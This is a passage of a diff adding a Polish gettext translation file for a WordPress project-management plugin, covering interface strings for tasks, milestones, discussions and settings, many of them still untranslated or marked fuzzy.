+msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +# @ cpm +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "Nie znaleziono komentarzy" + +# @ cpm +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "Projekt nie istnieje" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +# @ cpm +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "Czy na pewno?" + +# @ cpm +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "Czy na pewno chcesz usunąć ten projekt?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "Czy na pewno chcesz usunąć tą wiadomość?" + +# @ cpm +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this project?" +msgid "Are you sure to delete this comment?" +msgstr "Czy na pewno chcesz usunąć ten projekt?" + +# @ cpm +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "Dodaj nową wiadomość" + +# @ cpm +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "Aktualizacja wiadomości" + +# @ cpm +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Aktywność projektu" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Listy zadań" + +# @ cpm +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "Kamienie milowe" + +# @ cpm +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Pliki" + +# @ cpm +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Edytuj" + +# @ cpm +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "Usuń tą wiadomość" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "Wprowadź tytuł wiadomości" + +# @ cpm +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Dodaj wiadomość" + +# @ cpm +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Aktualizacja wiadomości" + +# @ cpm +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Zacznij nowy projekt" + +# @ cpm +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "Nazwa projektu" + +# @ wedevs +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Więcej szczegółów na temat projektu (opcjonalnie)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Dodaj nowy projekt" + +# @ cpm +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Aktualizacja projektu" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Edytuj kamień milowy" + +# @ cpm +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "Usuń kamień milowy" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Oznacz jako kompletne" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "Nazwa kamienia milowego" + +# @ cpm +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Dodaj kamień milowy" + +# @ cpm +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Aktualizacja kamienia milowego" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Dodaj zadanie" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Aktualizuj listę" + +# @ cpm +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Dodaj listę" + +# @ cpm +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete milestone" +msgid "Delete List" +msgstr "Usuń kamień milowy" + +# @ cpm +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Zapisz zmiany" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Aktywność" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Usuń" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "Wybierz wszystkich" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +# @ cpm +# @ wedevs +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "Anuluj" + +# @ cpm +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select all" +msgid "Select Color" +msgstr "Wybierz wszystkich" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +# @ default +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Usuń plik" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +# @ cpm +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Zakończony" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +# @ cpm +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Powiadomienie użytkowników" + +# @ cpm +#: views/assets/src/components/project-activities/activities.vue:46 +#, fuzzy +#| msgid "Load More..." +msgid "Load More ..." +msgstr "Załaduj więcej ..." + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Utwórz nową wiadomość" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +#, fuzzy +#| msgid "Body" +msgid "By" +msgstr "Treść" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "Nie znaleziono użytkowników" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Nowy projekt" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Zadania" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Wykonane kamienie milowe" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Zakończony na:" + +# @ cpm +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Opóźnione kamienie milowe" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Nadchodzące kamienie milowe" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "Lewo" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Nowa lista zadań" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "Ustawienia poczty e-mail" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "Typ e-maila" + +# @ cpm +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "e-mail w HTML" + +# @ cpm +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "e-mail tekstowy" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "Limit dla przesyłanych plików" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr 